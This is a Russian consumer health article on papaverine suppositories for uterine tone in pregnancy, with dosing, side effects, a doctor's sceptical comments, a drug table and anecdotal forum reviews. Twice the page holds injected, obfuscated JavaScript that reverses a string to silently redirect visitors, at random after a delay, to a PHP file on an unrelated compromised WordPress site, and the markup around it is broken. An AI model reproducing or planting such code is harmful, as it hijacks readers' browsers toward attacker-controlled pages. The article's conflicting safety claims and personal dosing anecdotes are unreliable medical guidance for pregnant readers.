Папавериновые свечи при беременности: друг или нет?

Нередко во время беременности врачи ставят женщинам такой диагноз, как повышенный тонус матки, угрожающий благоприятному вынашиванию ребёнка. В этом случае, как правило, пациенткам прописывают папавериновые свечи, которые эффективно помогают снять спазмы и болевые ощущения. Однако сейчас целесообразность сохранения беременности с помощью гидрохлорида папаверина находится под вопросом.

Вредны ли ректальные свечи с папаверином при беременности

Ректальные свечи Папаверина гидрохлорид — это лекарство-спазмолитик. Один суппозиторий содержит 20 мг гидрохлорида папаверина. Действие препарата направлено на снижение спазмов, мышечного тонуса и повышенного артериального давления, а также на улучшение кровотока. Активное вещество способствует расслаблению гладких мышц и сосудов, поэтому для будущих мам папавериновые свечи особенно актуальны в том случае, если поставлен диагноз постоянного гипертонуса матки и есть угроза невынашивания беременности. Однако не всё так просто. Безопасность использования медикаментов на основе папаверина при беременности на сегодняшний день официально не установлена. Это отмечено в инструкции. Российские медики назначают препарат, основываясь на практических данных и отсутствии установленных отрицательных последствий для матери и ребёнка.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2016/05/svechi-papaverina-1.jpg» alt=»свечи папаверина» width=»631″ height=»465″ /> Папавериновые свечи способны облегчить спазмы во время беременности

Важно не превышать прописанную врачом дозировку, так как папаверин может сильно снизить артериальное давление и оказать седативный эффект на центральную нервную систему женщины.

Для чего назначают гидрохлорид папаверина на разных сроках беременности

Свечи с папаверином женщинам в положении обычно прописывают при спазмах:

• гладких мышц органов брюшной полости,
• бронхов,
• периферических сосудов,
• сосудов головного мозга,
• почек;
• мочевыводящих путей (что чревато задержкой мочи).

Дополнительными показаниями к приёму считаются:

• чувство дискомфорта за грудиной (приступ стенокардии);
• подготовка пациентки к оперативному вмешательству.

Запор не является показанием к назначению Папаверина. Эту проблему решают при помощи глицериновых свеч.

Беременным женщинам препарат назначают чаще всего при угрозе выкидыша или повышенном тонусе матки. Это особенно актуально в I триместре. В первые месяцы приём большинства препаратов противопоказан, поэтому врачи рекомендуют использовать именно папавериновые свечи. За многолетний опыт их использования не было выявлено негативного влияния на плод. Считается, что свечи оказывают более мягкое действие по сравнению с другими формами выпуска спазмолитических средств.

Во II триместре перечень препаратов, которые можно принимать при беременности, становится шире, поэтому при угрозе прерывания беременности используются другие медикаменты. Свечи с папаверином также можно применять при мышечных спазмах и неприятных ощущениях, связанных с сокращением матки.

В конце беременности свечи с папаверином могут быть прописаны, если есть угроза преждевременных родов. Некоторые врачи назначают это средство для размягчения шейки матки перед родами. Однако вопрос о целесообразности такой меры должен решаться индивидуально. Существует врачебное мнение, что папавериновые свечи оказывают слабое и недолгосрочное действие.

Гинеколог может назначить беременной длительный курс лечения либо разовое применение свечей с папаверином в качестве «скорой помощи», когда будущая мама чувствует спазмы в животе или нарастание других тревожных симптомов.

Противопоказания и побочные эффекты

Многолетний опыт показывает, что этот препарат не оказывает негативного влияния на плод. Но перед применением следует обратить внимание на возможные побочные эффекты и противопоказания. Среди побочных эффектов выделяют следующие:

• тошнота;
• запор;
• сонливость;
• потливость;
• снижение артериального давления;
• аллергические реакции;
• эозинофилия (изменение в составе крови);
• повышение активности ферментов печени.

Изготовитель не уточняет частоту их возникновения, но не исключает возможность развития.

Артериальное давление — это один из важных показателей, который следует отслеживать при беременности. Сильное его снижение может вызвать кислородное голодание плода. На поздних сроках пониженное давление является одной из причин слабой родовой деятельности.

Противопоказаниями к применению папавериновых свечей являются:

• аритмия;
• глаукома;
• тяжёлая печёночная недостаточность;
• гиперчувствительность к компонентам препарата.

Проблема с папаверином в том, что он может провоцировать маточное кровотечение, что не желательно, особенно при отслойке плодного яйца. Постсоветские врачи злоупотребляют этим препаратом. В акушерстве других стран не применяется.

акушер-гинеколог Е. П. Березовская
http://www.komarovskiy.net/faq/o-celesoobraznosti-primeneniya-papaverina-pri-beremennosti.html

Инструкции по безопасному применению

Согласно информации от производителей, свечи рекомендуется использовать не более 3 раз в сутки и в количестве, не превышающем 120 мг. Длительность применения обсуждается индивидуально с врачом. Как правило, приём лекарства происходит до тех пор, пока не будет достигнут ожидаемый терапевтический эффект. Папавериновые свечи принимают длительными курсами и с некоторой периодичностью по мере необходимости.

В современной медицине ведутся дискуссии относительно того, насколько опасен при беременности тонус матки. Существует мнение, распространённое в основном за пределами нашей страны, что это состояние не представляет проблемы и даже постоянный тонус при вынашивании является физиологической нормой, не требующей лечения. Приведём основные аргументы, выдвигаемые в защиту этой теории.

«Постоянный тонус» или «гипертонус» тоже ставят всем беременным женщинам, не объясняя им, что матка — это мышечный орган, поэтому она постоянно должна быть в определённом тонусе.

акушер-гинеколог Е. П. Березовская
http://www.komarovskiy.net/faq/gipotireoz-tonus-matki-bolevoj-sindrom-i-vnov-nastupivshaya-beremennost.html

К сожалению, в I триместре беременности зачастую ставят диагноз гипертонуса ошибочно, на основании результатов УЗИ. Когда эмбрион прикрепляется к задней стенке матки, она становится толще передней. Этот факт врачи иногда принимают за сокращение и считают, что беременную следует положить на сохранение в больницу. Также при имплантации плодного яйца в стенку матки происходит воспаление на этом участке. Это тоже является нормой, но может быть принято за признак инфекционного заболевания. Иногда возможны небольшие ноющие боли внизу живота, не сопровождающиеся кровянистыми выделениями. Все эти признаки считаются нормой и не подлежат лечению. Другое дело, если диагноз «угроза прерывания беременности» был поставлен верно и женщина чувствует действительно сильные боли. В этом случае врач может порекомендовать папавериновые свечи для снятия спазмов и положить будущую маму в больницу на обследование.

Не отказывайтесь от госпитализации, если есть к ней показания. В больнице вам прежде всего проведут обследование и выяснят реальную причину недомогания.

С увеличением сроков беременности небольшие сокращения матки могут вызывать движение плода, датчики аппарата УЗИ, прикосновения рук и так далее. Если женщина ведёт малоподвижный образ жизни, то это способствует возникновению проблем с кишечником. Постоянные запоры, вздутие живота, метеоризм, колики, — всё это ошибочно может быть принято за угрозу выкидыша. В таком случае также может быть целесообразен приём папавериновых свечей, но не для устранения несуществующего гипертонуса, а с целью спровоцировать стул и снять спазмы в животе.

Зачастую врачи назначают этот препарат перед родами с целью размягчения шейки матки. Однако это спазмолитическое средство способно ослабить родовую деятельность. Во время родов матка должна активно сокращаться. Если расслабить её, это может негативно сказаться на родовой деятельности. 

Папаверин выпускается за пределами России под разными коммерческими наименованиями, однако он не используется в акушерстве для лечения тонуса матки. Это считается нормальным физиологическим состоянием мышечного органа беременной женщины. В Европе или США не существует такого диагноза, как гипертонус, там не принято сохранять беременность на ранних сроках, если появилась угроза выкидыша.

Чем можно заменить: аналоги с папаверином и другие спазмолитики

Иногда папавериновые свечи не помогают справиться с проблемой в полной мере. Также бывают случаи, что именно этот препарат не подходит беременной ввиду его непереносимости. Тогда врач может порекомендовать другое лекарство от болей и спазмов.

Таблица: лекарства, назначаемые при повышенном тонусе матки, в том числе на ранних сроках

Наименование препарата	Изготовитель	Форма выпуска	Действующее вещество	Побочные эффекты	Противопоказания		Применение при беременности
Папаверина гидрохлорид МС	Россия	Таблетки	Папаверина гидрохлорид	Те же, что и для свечей с папаверином	Те же, что и для свечей с папаверином		Не противопоказано, но необходимо наблюдение врача.
Папаверина гидрохлорид		Раствор для инъекций
Но-шпа	Венгрия	Таблетки	Дротаверина гидрохлорид	Нарушения со стороны нервной, сердечно-сосудистой, пищеварительной и иммунной систем	Печёночная, почечная и сердечная недостаточность; непереносимость компонентов.	—
Дротаверин-Тева	Болгария		Дротаверин	Нарушения со стороны нервной, сердечно-сосудистой систем и работы органов дыхания		Сердечная недостаточность; лактация.
Ниаспам	Индия	Капсулы	Мебеверин	Аллергические реакции	Гиперчувствительность к компонентам препарата
Красавки экстракт	Россия	Суппозитории ректальные	Густой экстракт красавки	Нарушения со стороны нервной системы; потеря аппетита; запор.	Глаукома; заболевания желудочно-кишечного тракта и сердечно-сосудистой системы; повышенная чувствительность; лактация.
Гинипрал	Австрия	Таблетки	Гексопреналина сульфат	Нарушения со стороны нервной, сердечно-сосудистой, пищеварительной и иммунной систем	Избыток гормонов щитовидной железы; заболевания сердечно-сосудистой системы, печени, почек, глаз (закрытоугольная глаукома); внутриматочные инфекции; I триместр беременности; лактация; гиперчувствительность.		Противопоказан только в I триместре. В остальных приём возможен по показаниям.
	Австрия	Раствор для внутривенного введения

Фотогалерея: спазмолитики, применяемые при беременности

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»15160,15161,15162,15163,15164,15167″]

Отзывы женщин

Мне врач на первом приёме сказал, что свечи с папаверином — это мой друг на всю беременность. Как только чувствовала, что в животе распирает после рабочего дня, уборки квартиры или после осмотров гинеколога, сразу их ставила.

кисюш@
https://www.u-mama.ru/forum/waiting-baby/pregnancy-and-childbirth/269971/index.html

Я лично на себе испытала их. Стабильно ставила их с 5 недель до 9 (всё время утром и вечером). После пятидневного перерыва проснулась ночью от острой боли в животе. Еле дотянулась до папавериновых свечей. Через 5–7 минут после приёма отпустило.

kozjavohka
https://www.u-mama.ru/forum/waiting-baby/pregnancy-and-childbirth/269971/index.html

В первом триместре беременности мне поставили диагноз «угроза прерывания беременности». Выписали свечи «Папаверина гидрохлорид». Принимала я их каждый день на ночь. Действие папаверина начинается практически через пять минут после введения. Почти всегда после использования снижалось артериальное давление. Иногда так сильно, что приходилось лежать несколько часов после приёма свечей. Плюсом считаю, что свечи с папаверином помогают в комплексном лечении снять диагноз «угроза».

ek9345
http://otzovik.com/review_1357179.html

Свечи «Папаверина Гидрохлорид» я приобрела в аптеке по совету врача ещё на ранних сроках беременности для улучшения состояния и снятия лёгкого тонуса матки. Да не тут-то было. Лекарство на «троечку», поскольку со своими проблемами, пусть и в меньшей степени, мне пришлось дальше промучиться всю оставшуюся беременность. Одному помогает, а другому — нет.

рассвет
http://otzovik.com/review_919865.html

Мои обе беременности были с «угрозой», и каждый раз мне дополнительно назначали свечи «Папаверин». Свечи Папаверина снимают тонус, то есть расслабляют гладкую мускулатуру матки. Для меня был один большой минус при использовании свечей. Они внутри таяли и вытекали.

Tin-ka
http://otzovik.com/review_1352089.html

Со свечками Папаверина я впервые познакомилась во время беременности. В срок 18 недель вдруг появился тонус матки, а также периодическая боль в животе. Моим спасением были свечи Папаверин. Они безопасны и реально помогают.

Екатеринка 224
http://irecommend.ru/content/prinimala-vo-vremya-beremennosti-i-chtoby-vyzvat-rody

Видео: что такое гипертонус матки, как его предотвратить

Папавериновые свечи — это рекомендованное российскими врачами спазмолитическое средство, безопасное при беременности. Однако не все специалисты согласны с этим мнением. Некоторые врачи уверены, что этот препарат не оказывает должного действия и является бесполезным. Если ваша беременность протекает проблемно, стоит в первую очередь найти квалифицированного доктора, которому вы будете доверять, чтобы он провёл необходимое обследование, взвесил все за и против и оценил целесообразность применения медикаментов, снимающих тонус мышц и сосудов.